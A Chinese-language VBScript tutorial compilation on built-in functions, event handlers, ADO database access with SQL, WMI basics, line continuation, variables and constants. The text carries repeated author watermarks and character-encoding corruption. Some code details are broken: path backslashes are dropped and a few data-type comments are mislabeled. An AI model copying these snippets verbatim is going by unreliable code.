Join 函數(shù):返回通過連接許多含有數(shù)組的子串而創(chuàng)建的字符串。
LBound 函數(shù);返回指定維數(shù)數(shù)組的最小有效下標。
LCase 函數(shù):返回的字符串已被轉(zhuǎn)換為小寫字母。
Left 函數(shù):返回字符串最左邊的指定數(shù)量的字符。
Len 函數(shù):返回字符串中的字符數(shù)或存儲變量所需的字節(jié)數(shù)。
LoadPicture 函數(shù):返回圖片對象。只用于32 位平臺。
Log 函數(shù):返回數(shù)的自然對數(shù)。
LTrim 函數(shù);返回去掉前導空格的字符串。
Mid 函數(shù):從字符串中返回指定數(shù)量的字符。
Minute 函數(shù):返回分鐘數(shù),取值范圍為0 至59。
Month 函數(shù):返回表示月份的數(shù),取值范圍為1 至12。
MonthName 函數(shù):返回表示月份的字符串。
MsgBox 函數(shù):在對話框中顯示消息,等待用戶單擊按鈕,并返回表示用戶所擊按鈕的數(shù)值。
Now 函數(shù):返回計算機的當前系統(tǒng)日期和時間。
Oct 函數(shù):返回表示該數(shù)八進制數(shù)值的字符串。
Replace 函數(shù):返回一字符串,其中指定的子串已被另一個子串替換了規(guī)定的次數(shù)。
RGB 函數(shù):返回代表RGB 顏色值的數(shù)字。
Right 函數(shù):返回字符串最右邊的指定數(shù)量的字符。
Rnd 函數(shù):返回隨機數(shù)。
Round 函數(shù):返回指定位數(shù)、四舍五入的數(shù)。
RTrim 函數(shù):返回去掉尾部空格的字符串副本。
ScriptEngine 函數(shù):返回反映使用中的腳本語言的字符串。
ScriptEngineBuildVersion 函數(shù):返回使用中的腳本引擎的編譯版本號。
ScriptEngineMajorVersion 函數(shù):返回使用中的腳本引擎的主版本號。
ScriptEngineMinorVersion 函數(shù):返回使用中的腳本引擎的次版本號。
Second 函數(shù):返回秒數(shù),取值范圍為0 至59。
=====================================
Vbs 腳本編程簡明教程之十五—VBS 內(nèi)置函數(shù)之三
Sgn函數(shù):返回反映數(shù)的符號的整數(shù)。
Sin 函數(shù):返回角度的正弦值。
Space 函數(shù):返回由指定數(shù)量的空格組成的字符串。
Split 函數(shù):返回下限為0 的、由指定數(shù)量的子串組成的一維數(shù)組。
Sqr 函數(shù):返回數(shù)的平方根。
StrComp 函數(shù):返回反映字符串比較結(jié)果的數(shù)值。
String 函數(shù):返回指定長度的重復字符串。
StrReverse 函數(shù):返回一字符串,其中字符的順序與指定的字符串中的順序相反。
Tan 函數(shù):返回角度的正切值。
Time 函數(shù):返回表示當前系統(tǒng)時間的“日期”子類型的“變體”。
Timer 函數(shù):返回時經(jīng)子夜12:00 AM 后的秒數(shù)。
TimeSerial 函數(shù):返回含有指定時分秒時間的日期子類型的變體。
TimeValue 函數(shù):返回含有時間的日期子類型的變體。
Trim 函數(shù):返回去掉前導空格或尾部空格的字符串副本。
TypeName 函數(shù):返回一字符串,它提供了關(guān)于變量的變體子類型信息。
UBound 函數(shù):返回指定維數(shù)數(shù)組的最大有效下標。
UCase 函數(shù):返回的字符串已經(jīng)被轉(zhuǎn)換為大寫字母。
VarType 函數(shù):返回標識變體子類型的數(shù)值。
Weekday 函數(shù):返回表示星期幾的數(shù)值。
WeekdayName 函數(shù):返回表示星期幾的字符串。
Year 函數(shù):返回表示年份的數(shù)值。
===================================
Vbs腳本編程簡明教程之十六——響應事件
什么是事件?在我看來,事件就象我們手機上的鬧鐘,鬧鐘一響,我們就要去做某些特定的事
情。或者這樣說,事件就像警鐘,當程序運行時,有特殊的事情發(fā)生,就會激發(fā)事件,事件本
身就是一條消息,如果你編寫的腳本要對事件進行處理,就需要一個特殊的過程或者函數(shù)來接
受和處理事件。那么這個特殊的過程或者函數(shù)在程序運行時,就不斷的監(jiān)聽,看系統(tǒng)是否傳來
了相應的事件,一旦接受到事件,腳本對此作出反應。
那么事件是從那里來的呢?是否需要我們在腳本中對事件進行編寫呢?一般情況下,事件是某
個程序在運行中的特殊狀態(tài)發(fā)出的,我們不需要對事件進行編寫,只需要編寫處理事件的函數(shù)。
比如說我們用vbs 建立了ie 的一個實例,那么當ie 的窗口被關(guān)閉的時候,就會激發(fā)出一個叫做
OnQuit 的事件。
是不是腳本自然而然就能接受事件并進行處理呢?我們說不是的,在創(chuàng)建對象的時候,我們將
使用WSH 的createobject 命令,例如:
Setobjie=Wscript.createobject(“internetexplorer.application”,”event_”)
注意到了嗎?多了一個參數(shù),這個參數(shù)的作用是什么呢?它叫做事件接收端,當腳本連接的對
象包含事件時, 如果對象調(diào)用的事件是OnBeg in ,那么WSH 將會在腳本中調(diào)用一個
event_OnBeg in 的事件處理程序。當然事件接受端并不是固定的,如果對象將其定義為MyObj_
的話,那么事件處理程序?qū)⑹牵篗yObj_On Begin。
是否很熟悉?在打造個性化QQ 一講中,曾經(jīng)出現(xiàn)過Window_OnSize(cx,cy)函數(shù),它其實就是
一個事件處理程序。
讓我們來舉個實際的例子完整的看看事件的處理過程:
Setobjie=WScript.CreateObject("InternetExplorer.Application","event_")
objie.Visible=True
MsgBox "請關(guān)閉瀏覽器窗口看看效果!",vbSystemModal
Wscript.sleep 6000
MsgBox "現(xiàn)在已經(jīng)正常關(guān)閉了"
Sub event_onquit()
MsgBox "您確定要關(guān)閉瀏覽器嗎?",vbSystemModal
End Sub
這段腳本打開了一個IE 窗口,然后要求你關(guān)閉IE 窗口,當你關(guān)閉窗口的時候,自動調(diào)用事件
響應程序。
=========================================
Vbs 腳本編程簡明教程之十七——訪問ADO 數(shù)據(jù)庫之一
ADO 是Microsoft提供和建議使用的新型數(shù)據(jù)訪問接口,它是建立OLEDB 之上的一個抽象層。
微軟公司在操作系統(tǒng)中默認提供了Access 的ODBC 驅(qū)動程序以及JET 引擎,
一、對ADO 對象的主要操作,一般包括6 個方面:
1.連接到數(shù)據(jù)源。通常使用ADO 的Connection 對象。一般使用相應的屬性打開到數(shù)據(jù)源的連接,
設置游標的位置,設置默認的當前數(shù)據(jù)庫,設置將使用的OLEDBProv ider,直接提交SQL 腳本
等。
2.向數(shù)據(jù)源提交命令。通常涉及ADO 的Command 對象。可查詢數(shù)據(jù)庫并返回結(jié)果在Recordset
對象中。
3.執(zhí)行SELECT 查詢命令。在提交SQL 腳本的任務時,不用創(chuàng)建一個Command 對象,就可完
成查詢。
4.可以通過ADO 的Recordset 對象對結(jié)果進行操作。
5.更新數(shù)據(jù)到物理存儲。作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
6.提供錯誤檢測。通常涉及ADO 的Error 對象。
二、ADO 中主要對象的功能
Recordset 對象,用來封裝查詢的結(jié)果。
Field 對象,用來表達一行結(jié)果中各子段的類型和值。
Error 對象,用來檢測和判斷在數(shù)據(jù)庫操作中出現(xiàn)的錯誤,比如連接失敗。在ADO 中,許多對
象名后多了一個"s",比如Error->Errors,F(xiàn)ield->Fields等等。添加"s"意味著是相應對象的
Collec tion( 集合)對象,比如Errors是Error 對象的Collection 對象。Collection有點像數(shù)組(Array),
但不同的是,Collection 可以以不同類型的數(shù)據(jù)或?qū)ο笞鳛樽约旱脑兀鴶?shù)組中的各元素通常
都是相同類型的。所以,在看到一個對象名最后是"s",通常表明這是一個Collection 對象,比
如Errors 中的各元素是由Error 對象的實例組成的。
三、具體應用作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
1、創(chuàng)建mdb 數(shù)據(jù)庫
ADOX 是ADO 對象的擴展庫。它可用于創(chuàng)建、修改和刪除模式對象,如數(shù)據(jù)庫和表格等。
其常用的對象有:Catalog—>創(chuàng)建數(shù)據(jù)庫。Column—>表示表、索引或關(guān)鍵字的列。作者:臨汾
市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
Key—>表示數(shù)據(jù)庫表中的關(guān)鍵字。
常用的方法有: Append 將對象添加到其集合。Delete 刪除集合中的對象。作者:臨汾市外
事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
set cat= createobject("ADOX.Catalog")
cat.Create "Provider=Microsoft.Jet.OLEDB.4.0;DataSource=d:shujuku.mdb"
Set tbl=createobject("ADOX.Table")
tbl.Name ="MyTable"
tbl.Columns.Append "姓名", 202 'adInteger
tbl.Columns.Append "性別", 3 'adInteger
tbl.Columns.Append "工作單位", 202 ,50 'adVarWChar
cat.Tables.Append tbl
不過你要操縱數(shù)據(jù)庫就連一個數(shù)據(jù)庫也不建,未免懶惰了點,用代碼雖然可以完成,但是我覺
得對數(shù)據(jù)約束完成的比較困難,本代碼也就是示范個例子,并不推薦使用此類方法。
2、打開數(shù)據(jù)庫作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
Provider=″Provider=Microsoft.Jet.OLEDB.4.0 ; Data Source="
Set Objconn = createobject("ADODB.Connection")
Objconn.Open Provider & "數(shù)據(jù)庫名稱"
3、創(chuàng)建記錄集
Set Objrs = CreateObject("ADODB.Recordset")
4、執(zhí)行SQL 查詢語句
Sql="SQL 查詢語句" '例如:Select count(*) from table1
Set objrs = objconn.execute(sql)
一般情況下,我們將絕大多數(shù)的操作轉(zhuǎn)化為SQL 語句完成。
==================================
Vbs 腳本編程簡明教程之十七——訪問ADO 數(shù)據(jù)庫之二
常用的SQL 語句
在學習SQL 語句之前,讓我們先來對數(shù)據(jù)庫做一個基本的了解。一個數(shù)據(jù)庫中可能包含了很多
個基本單位叫做表。表格被分為“行”和“列”。每一行代表表的一個單獨組成部分,每一列代表
相同性質(zhì)的一組數(shù)據(jù)。舉例來說,如果我們有一個記載顧客資料的表格,行包括姓、名、地址、
城市、國家、生日等。而一列則代表了所有的地址或者國家等。
一、建立數(shù)據(jù)表,我們前邊說過利用ADOX.Catalog 建立數(shù)據(jù)庫和數(shù)據(jù)表的方法,但是用的似
乎不是很多,一般情況下,如果我們需要在數(shù)據(jù)庫中動態(tài)建立一個表,我們將工作交給SQL 語
句來做,其基本語法是:
CREATE TABLE [表格名]([列名1] 數(shù)據(jù)類型, [列名2] 數(shù)據(jù)類型,... )
例如我們要建立一個基本顧客表:
Create table [顧客表]([姓名] text(8), [性別] text(2), [住址] text(30))
二、插入數(shù)據(jù)項
insert into [數(shù)據(jù)表名稱] (數(shù)據(jù)項1,數(shù)據(jù)項2,...) values (值1,值2,...)
insert into 語句用來添加新的數(shù)據(jù)到數(shù)據(jù)庫中的指定表。通過(數(shù)據(jù)項1,數(shù)據(jù)項2,...) values (值1,
值2,...)來為新添加的數(shù)據(jù)賦初值。
三、刪除數(shù)據(jù)項
delete from [數(shù)據(jù)表名稱] where [數(shù)據(jù)項1] like [值1] and/or [數(shù)據(jù)項2] like [值2]...作者:臨汾市
外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
四、更新數(shù)據(jù)項
update [數(shù)據(jù)表名稱] set 數(shù)據(jù)項1=值1,數(shù)據(jù)項2=值2,... where [數(shù)據(jù)項1] like [值1]and/or [數(shù)據(jù)
項2] like [值2] ...
該語句可以修改數(shù)據(jù)庫中指定數(shù)據(jù)表內(nèi)的指定數(shù)據(jù),如果不是用where 限定條件就表示修改該
表內(nèi)所有的數(shù)據(jù)條目。
五、查詢數(shù)據(jù)項
select [數(shù)據(jù)內(nèi)容] from [數(shù)據(jù)表名稱] where [數(shù)據(jù)項1] like [值1] and/or [數(shù)據(jù)項2]like [值2] ...
order by [數(shù)據(jù)項] asc/desc
[數(shù)據(jù)內(nèi)容]部分表示所要選取的表格中的數(shù)據(jù)項,使用*表示選取全部。[數(shù)據(jù)表名稱]表示要從
哪一個表格中選取,如果你沒有接觸過數(shù)據(jù)庫可能很難了解什么是數(shù)據(jù)表格,沒關(guān)系,我將在
后面用到它的時候再說明。where 表示選取的條件,使用like表示相等,也支持>=這樣的判斷
符號,同時使用多個條件進行選取時中間要使用and 進行連接。order by 決定數(shù)據(jù)的排列順序,
asc 表示按照[數(shù)據(jù)項]中的數(shù)據(jù)順序排列,desc 表示倒序,默認情況為順序。select 語句中除select
和from 之外其它均為可選項,如果都不填寫表示選取該數(shù)據(jù)表中的全部數(shù)據(jù)。例如:下面的語
句查詢某數(shù)據(jù)庫中表名稱為:testtable 中姓名為“張三”的nickname 字段和email 字段。
SELECT nickname,email FROM testtable WHERE name='張三'
(一) 選擇列表作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
選擇列表(select_list)指出所查詢列,它可以是一組列名列表、星號、表達式、變量(包括局部變
量和全局變量)等構(gòu)成。
1、選擇所有列
例如,下面語句顯示testtable 表中所有列的數(shù)據(jù):
SELECT * FROM testtable
2、選擇部分列并指定它們的顯示次序查詢結(jié)果集合中數(shù)據(jù)的排列順序與選擇列表中所指定的列
名排列順序相同。
例如:SELECT nickname,email FROM testtable
3、更改列標題作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
在選擇列表中,可重新指定列標題。定義格式為:列標題=列名
列名列標題如果指定的列標題不是標準的標識符格式時,應使用引號定界符,例如,下列語句
使用漢字顯示列標題:
SELECT 昵稱=nickname,電子郵件=email FROM testtable
(二) FROM 子句指定SELECT 語句查詢的表。
最多可指定256 個表,它們之間用逗號分隔。如果選擇列表中存在同名列,這時應使用對象名
限定這些列所屬的表或視圖。例如在usertable 和citytable 表中同時存在cityid 列,在查詢兩個
表中的cityid 時應加以限定。
====================================
Vbs 腳本編程簡明教程之十七——訪問ADO 數(shù)據(jù)庫之三
(三) WHERE子句設置查詢條件
WHERE 子句設置查詢條件,過濾掉不需要的數(shù)據(jù)行。例如下面語句查詢年齡大于20 的數(shù)據(jù):
SELECT * FROM usertable WHERE age>20
WHERE 子句可包括各種條件運算符:
比較運算符(大小比較):>、>=、=、<、<=、<>、!>、!<
范圍運算符(表達式值是否在指定的范圍):BETWEEN…AND…
NOT BETWEEN…AND…
列表運算符(判斷表達式是否為列表中的指定項):IN (項1,項2……)
NOT IN (項1,項2……)
模式匹配符(判斷值是否與指定的字符通配格式相符):LIKE、NOT LIKE
空值判斷符(判斷表達式是否為空):IS NULL、NOT IS NULL
邏輯運算符(用于多條件的邏輯連接):NOT、AND、OR
1、范圍運算符例:age BETWEEN 10 AND 30 相當于age>=10 ANDage<=30 作者:臨汾市外事
旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
2、列表運算符例:country IN ('Germany','China')
3、模式匹配符例:常用于模糊查找,它判斷列值是否與指定的字符串格式相匹配??捎糜赾har、
varchar、text、ntext、datetime 和smalldatetime等類型查詢。作者:臨汾市外事旅游局薛靖瀾,
轉(zhuǎn)載請注明出處]
可使用以下通配字符:
百分號%:可匹配任意類型和長度的字符,如果是中文,請使用兩個百分號即%%。
下劃線_:匹配單個任意字符,它常用來限制表達式的字符長度。
方括號[]:指定一個字符、字符串或范圍,要求所匹配對象為它們中的任一個。作者:臨汾市
外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
[^]:其取值也[] 相同,但它要求所匹配對象為指定字符以外的任一個字符。
例如:作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
限制以Publishing 結(jié)尾,使用LIKE '%Publishing'
限制以A 開頭:LIKE '[A]%'
限制以A 開頭外:LIKE '[^A]%'
4、空值判斷符例WHERE age IS NULL
5、邏輯運算符:優(yōu)先級為NOT、AND、OR
最后,讓我們用一個簡單的例子結(jié)束這篇教程:
Objku = InputBox("請輸入單位數(shù)據(jù)庫的路徑","默認位置","d: jbqk.mdb")
Set Objconn = createobject("adodb.connection")
Objconn.open ="provider=Microsoft.Jet.OLEDB.4.0;Data Source="& Objku
作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
sql = "CREATE TABLE [ 單位資料](ID Autoincrement PRIMARY KEY,[ 姓名]text(8),[ 性別]
text(2),[科室] text(6),[住址] text(30))"
Objconn.execute(sql)
sql = "INSERT INTO [單位資料]([姓名],[性別],[科室],[住址])VALUES('張三','男','行管科','解放路
12 號')"
Objconn.execute(sql)
sql = "INSERT INTO [單位資料]([姓名],[性別],[科室],[住址])VALUES('李斯','女','市場科','五一路
12 號')"
Objconn.execute(sql)
sql = "DELETE FROM [單位資料] WHERE [姓名] = '張三' "
Objconn.execute(sql)
sql = "UPDATE [單位資料]"
sql = "SELECT COUNT(ID) FROM [單位資料]"
===================================
WMI 輕松入門之一——基本概念
其實我給文章起這樣的名字,絕對沒有輕視WMI 的意思,事實上就連微軟也有“WMI 非常難于
學習而且更難于使用”的說法,在近日的學習過程中更感覺到了WMI 檢索功能的強大,之所以
起個“輕松入門”的名字,我只是有感于外國人寫教程在思路上和國人不太一致,西方式的幽默
看起來困難無比,再加上一上手就在類的基本結(jié)構(gòu)上展開討論,嚇跑了無數(shù)Vbs 的愛好者,想
從國人常見的角度出發(fā)來說說怎么學習WMI 而已。百度空間的長度限制太討厭了,一次發(fā)不
完,只好分割成三部分,題目只能大致起了,見諒。作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請
注明
一、什么是WMI?微軟有很多說法,大家可以到腳本中心查閱,我這樣理解, WMI 是一個用
于管理Windows 系統(tǒng)資源的對象,其內(nèi)部應是一個樹狀的數(shù)據(jù)庫,數(shù)據(jù)庫中包含了很多個分支,
每個分支被稱作命名空間,每個命名空間包含了很多個對托管資源的抽象定義,這種定義叫做
類。在很多計算機教材中喜歡把類比作建筑藍圖,依據(jù)藍圖建造的樓宇叫做類的實例,我更喜
歡將類和其實例的關(guān)系比作表格,類就是表格的字段定義,而表中的數(shù)據(jù)就是一個個的類的實
例,也許我這樣說會讓很多朋友更加糊涂,但是依此類推,WMI 中最終存在的是各種軟硬件資
源的抽象定義,我們利用WMI,就是要按圖索驥,通過類定義,獲得類實例,檢索出符合要求
的屬性,調(diào)用其內(nèi)置的方法,實現(xiàn)我們的目標。相信很多朋友已經(jīng)發(fā)現(xiàn),我將WMI 等同于CIM
庫了,我清楚他們不是一回事,但我相信這樣更容易理解。如圖:
二、WMI 的基本結(jié)構(gòu)
嚴格說來,WMI 由四部分組成:
1、公共信息模型對象管理器——CIMOM
2、公共信息模型——CIM
3、WMI 提供程序
4、WMI 腳本對象庫
其中其第1、2、3 三個部分,在使用中很少加以區(qū)別,我們一般統(tǒng)稱為CIM 庫。作者:臨汾市
外事旅游局薛靖瀾,轉(zhuǎn)載請注明
所以我們可以認為WMI 實際是由兩部分組成:CIM 庫和WMI 腳本對象庫。在具體使用過程中,
我們是通過WMI 腳本對象庫去訪問CIM 庫,管理托管的資源。也就是說,在我們編寫腳本的
過程大致可以分為這么幾步:作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明
1、創(chuàng)建WMI 對象腳本庫的指針實例;
2、調(diào)用其實例的方法,連接到CIM 庫,并指明需要訪問的資源的邏輯位置;
3、獲得托管資源也就是類的實例的集合;
4、枚舉實例,完成工作。
這幾個步驟在我們將來編寫的代碼中可以明確的反映出來。
三、常用的命名空間
命名空間是個很復雜的概念,相信在微軟的網(wǎng)站上一定有很多的篇幅介紹這個概念,據(jù)我個人
理解,命名空間是對類所處邏輯位置的一個約定。打個比方說:張家也有個孩子叫小強,李家也
有個孩子小強。大家站在一起,你大聲叫"小強",你說這到底是叫哪一個小強呢?張家,李家都是一
個姓,一個人的姓實際上就是現(xiàn)實中的一種名字空間。好了,現(xiàn)在你大聲叫“張小強”,我們就明確的
知道你到底是叫哪一個小強了。這就好比在變量名前加上名字空間前綴。所以可以通俗的說,名
字空間就是一個變量的姓氏。問題是這樣我們還會碰到一個問題,世界上有很多姓張的,也有可能
有很多的張小強,這怎么辦呢?這時候我們可以這樣說"張老三家的小強",張是一個名字空間,張老
三又是張下面的二級名字空間.
張.老三的家.小強= 110
張.三豐的家.小強= 119
也許說的更糊涂,但大致就這樣吧,我本來也就不是說明這個的。
據(jù)微軟稱,WMI 的命名空間共有16 個,不過不用擔心,我們常用的只有兩個:作者:臨汾市
外事旅游局薛靖瀾,轉(zhuǎn)載請注明
1、rootcimv2 在這個命名空間里包括了絕大多數(shù)與計算機、操作系統(tǒng)相關(guān)聯(lián)的類。
2、rootdefault 管理注冊表的類
在使用中,我們用一個字符串表示命名空間,就像文件路徑一樣。
=========================
VBS 腳本參考之一——使用連字符
前言
這一章的前半部分介紹了VB 腳本最基本的概念,并且告訴你它可以完成的工作,尤其是VBS
和其它的如WMI、ADSI 接合在一起的時候。后半部分主要介紹了VBS 對系統(tǒng)管理員更有用
的部分。
許多腳本和程序語言在向文本輸入的時候并不嚴格的遵守文本的行。例如,盡管下面這個JS 腳
本寫了很多行,但是,JS 把它當做一行來處理。這是因為,在大部分的時候, JS 只有看到中
止符的時候才認為使一個行的中止。在這個例子中,中止符就是“;”。在實際中敲入的行是和
腳本本身不相關(guān)的。
var 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
objWMI
=new
Enumerator
(GetObject("winmgmts:")
.
InstancesOf("Win32_process"))
;
正好相反,同樣的一段代碼,用VB 寫的時候就會報一個語法錯誤。
Set
objWMI
=
(GetObject("winmgmts:")
.
InstancesOf("Win32_process"))
這是因為,VBS 用回車鍵來代替特定的中止符。為了中止一個VB 腳本,你不需要來敲入一個
分號或者其它的特殊的符號,你只需要敲回車鍵就好了。一般來講,不用中止符的限制,使VBS
在編寫的過程中變的簡單,但是也有一點會有些復雜。為了增強程序的可讀性,建議每行的最
大長度不超過80 個字符。那么當你的一行代碼中有100 個字符,怎么辦呢?盡管看來好象有
個很簡單的解決辦法,但是你不能用回車鍵來將一行代碼分隔成很多行。例如如下的代碼片斷
會返回一個VB 運行錯誤因為它用回車鍵來分隔腳本
strMessageToDisplay = strUserFirstName, strUserMiddleInitial,strUserLastName,
strCurrentStatus
Wscript.Echo strMessageToDisplay
你不能用回車建來換行,因為在VB 中它認為回車是代表一段代碼的中止,在上面的代碼中,
它認為第一行是腳本的第一部分陳述內(nèi)容。然后認為第二行是另外一部分陳述內(nèi)容。這樣因為
strCurrentStatus 不是一個VBS 的命令,所以就報錯了。為了解決這個問題,VB 腳本用下劃線
來表示下面一行是上面一行的代替。在VB 的早期修訂版本中,在第一行末尾加一個空格和一
個下劃線來表示第二行是第一行的繼續(xù)。為更明確的表明這個意思,第二行前面要加四個空格。
(這樣作是為了可讀,你其實不必在繼續(xù)的行前作特定的標識──就是不用在第二行前加四個空
格。) 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
strMessageToDisplay = strUserFirstName, strUserMiddleInitial,strUserLastName, _
strCurrentStatus
Wscript.Echo strMessageToDisplay
當繼續(xù)的行又引號的時候,它就顯的特別復雜。例如,架設你用下劃線和空格來分隔一個WMI
腳本:
Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT *FROM _
Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto'")
如果你運行這個腳本,它會彈出一個錯誤,因為繼續(xù)換行符放在了引號中間了,這樣它就認為
換行符是字符串的一部分。為了分隔這個陳述:
1:在第一行用引號中止,然后插入空格和下劃線
2:用and(&)符號來開始下一行,這表示第二行是第一行字符串的繼續(xù)
3:在下一行開始之前加入引號這些引號表示這些陳述是包涵在上面的一行中的,沒有了引號,
它就VB 就解釋Win32_Service 是VB 的陳述語句,因為這個語句不是合法的,所以就產(chǎn)生了
錯誤。修正的版本如下:
Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT *FROM " _
& "Win32_Service WHERE State = 'Stopped' ANDStartMode = 'Auto' ")
用這個辦法來換行的時候,在適當?shù)奈恢貌迦肟崭褚中⌒?。在上面的例子當中,空格是?br />加在“from”之后和下一行的引號之前,如果空格向作偏出,那么字符串會被錯位的解釋(你看如
果將FROM 和Win32_Service 連在一起)會像如下的錯誤:
" SELECT * FROMWin32_Service WHERE State = 'Stopped' AND StartMode= 'Auto'
================================
VBS 腳本參考之二——定義和使用變量
一:Working withVariables
變量是存儲在計算器內(nèi)存中能夠存儲數(shù)據(jù)的名稱空間。大多數(shù)腳本語言允許你隱式的聲明變量,
使你不用明確的聲明就可以使用變量。例如,你運行下面的腳本時候,不會遇到任何類型的錯
誤,盡管它的第一行將一個值賦給了變量sngDegreesCelsius。盡管它并沒有被聲明。
sngDegreesCelsius = 11
sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)
Wscript.Echo sngDegreesFahrenheit
Function ConvertToFahrenheit(ByVal sngDegreesCelsius)
ConvertToFahrenheit = (sngDegreesCelsius * (9/5)) + 32
End Function 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
隱式的變量聲明可以讓寫腳本變的快而且簡單,但是在同時,它可能導致難以發(fā)現(xiàn)和解決的問
題。
為了說明這一點,以前面的腳本為例,前面的腳本將攝氏的11 度轉(zhuǎn)換成華氏的51.8 度。下
面一個腳本本來應該作同樣的事情,但是它卻返回了一個32 的值……
sngDegreesCelsius = 11
sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)
Wscript.Echo sngDegreesFahrenheit
Function ConvertToFahrenheit(ByVal sngDegreesCelsius)
ConvertToFahrenheit = (sngDegresCelsius * (9/5)) + 32
End Function
上面一個腳本返回一個錯誤的值。因為在第六行敲入sngDegreesCelsius,而在后面卻敲入了
sngDegresCelsius,因為這個變量并沒有賦值,所以VB 認為它的值是0,這樣繼續(xù)算下去,結(jié)
果為0,0 再加上32 所以返回了錯誤的答案。像這樣的錯誤很難被發(fā)現(xiàn),因為語法是正確的,
所以并沒有錯誤的信息報出來。你期待得到一個不是11 的值,并且你得到了。當你寫更加復
雜的腳本的時候,這個敲入的錯誤很難被發(fā)現(xiàn)和改正。
Declaring Variables in VBScript
為了避免這樣的問題發(fā)生,你可以顯式的聲明你的變量。當顯示變量聲明被要求的時候,腳本
中所有的變量都必須被顯示的聲明,否則會再運行的時候報錯。
例如,如下的腳本用“Option Explicit ”要求所有的變量被顯示的聲明,并且所有的變量用一
個dim 語句。
Option Explicit
Dim sngDegreesCelsius
Dim sngDegreesFahrenehit
sngDegreesCelsius = 11
sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)
Wscript.Echo sngDegreesFahrenheit
Function ConvertToFahrenheit(ByVal sngDegreesCelsius)
ConvertToFahrenheit = (sngDegresCelsius * (9/5)) + 32
End Function
當你運行這樣一個腳本的時候,腳本的主機遇到一個沒有聲明的變量,這樣,腳本中止執(zhí)行并
且顯示出類似下面的一個錯誤:
C:ScriptsTempConvert.vbs(10, 5) Microsoft VBScript runtime error:Variable is
undefined:
'sngDegresCelsius'
在VB 中聲明變量:
1.用Option Explicit 語句來強制一個變量的聲明。
2.用一個單獨的DIM 語句來聲明每一個你要用的變量。雖然你只能用一個單獨的dim 來聲明
一個變量,但是在變量的后面,你可以添加一些解釋來說明變量的用途,如下所示:
Option Explicit 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
Dim intFirstNumber ' First number in our simple equation
Dim intSecondNumber ' Second number in our simple equation
Dim intTotal ' Sum of intFirstNumber and intSecondNumber
Initializing Variables
初始化一個變量就是簡單的給一個變量賦予一個初始值。例如,如下的幾行代碼初始化了兩個
變
量,將x 賦予100,將Y 賦予abcde
X = 100
Y = "abcde"
如果你建立一個變量,但是沒有給它初始化,(就是沒有賦值給它),那么它的值有一下兩種可
能:
如果它是一個字符串,那么它的值為空
如果它的值是一個數(shù)字,那么它的值是0.
例如:如下腳本創(chuàng)建了兩個變量,X,Y,但是沒有賦值給他們:
Dim X
Dim Y
Wscript.Echo X & Y
Wscript.Echo X + Y
在腳本的第三行,這兩個變量被認為是字符串,(因為&是用來連接兩個字符串的)。當它運行的
時候,它顯示入2.8 所示的信息框。因為兩個變量都是空,蔓兒他們的接合也是空。所以結(jié)果
就是什么都沒有。
在腳本的第四行,這兩個變量被認為是數(shù)字。數(shù)字沒有被初始化的時候,他們自動的被賦值為0。
這樣,這個行的腳本代表0+0 的和。
Using the Equals Sign in VBScript
在VB 腳本中,等號的含義和算數(shù)中是不同的。在算數(shù)中,x=2+2 是被認為是,x 等于2 加2
但是在VB 中,同樣的表達式,被讀作:x 被賦值為2+2 在上面這個例子中,他們并沒有什
么不同,任何一種辦法來說,x 的值都是4。但是看下面一個腳本,它用一個1 到10 的循
環(huán):
For i = 1 to 10
X = X + 1
Next
這個腳本的第二行在算數(shù)里面是不可能的,x 怎么可以等于x+1 哪?原因就是它并不是一個算
數(shù)表達式,而是一個合法的VB 表達式,這里的X 是一個變量被賦予新的值,在這里這個表
示式被讀作:
X 被賦值為x 當前的值加上1
就是說,如果x 當前的值為3,當運行這個表達式之后,它的值就為4 了,就是3 加上1 事
實上,在VB 中,等號也可以用在對字符串的賦值當中。例如,如下腳本建立一個message 變
量,賦予了它很多字符串的值: 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
Message = "This "
Message = Message & "is a "
Message = Message & "test message."
Wscript.Echo Message
====================================
VBS 腳本參考之三——定義和使用常量
使用常量
常量的意思是在腳本運行的時候,它的值不能改變。例如,如果你有一個腳本將日元轉(zhuǎn)換成美
元,假設當前的匯率是1:0.0088759,你可以在腳本中寫上如下的代碼:
curConvertedPrice = curPriceInYen * 0.00888759
盡管這個方法可行,但是它會出現(xiàn)一些問題,原因很多不贅述了,為了防止這樣的問題發(fā)生,
用常量的辦法來替代用數(shù)直接敲入。如果你改變了這個常量,那么你只是需要在定義常量的一
個地方更改它就好了。作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
定義常量
在VB 腳本中,常量的定義是用一個const 的表達式后加上常量的名字然后和常量的賦值。當
你定義常量的是時候,你必須賦值給它一個數(shù)值。你不能給一個常量賦值一個變量,或者是一
個程序。例如如下代碼,嘗試用一個變量NumberOfDepartments,定義一個常量,會產(chǎn)生一個
Expected literal constant 的錯誤
NumberOfDepartments = 20
Const NUMBER_OF_DEPARTMENTS = NumberOfDepartments
而你可以將20 賦給這個常量。
Const NUMBER_OF_DEPARTMENTS = 20
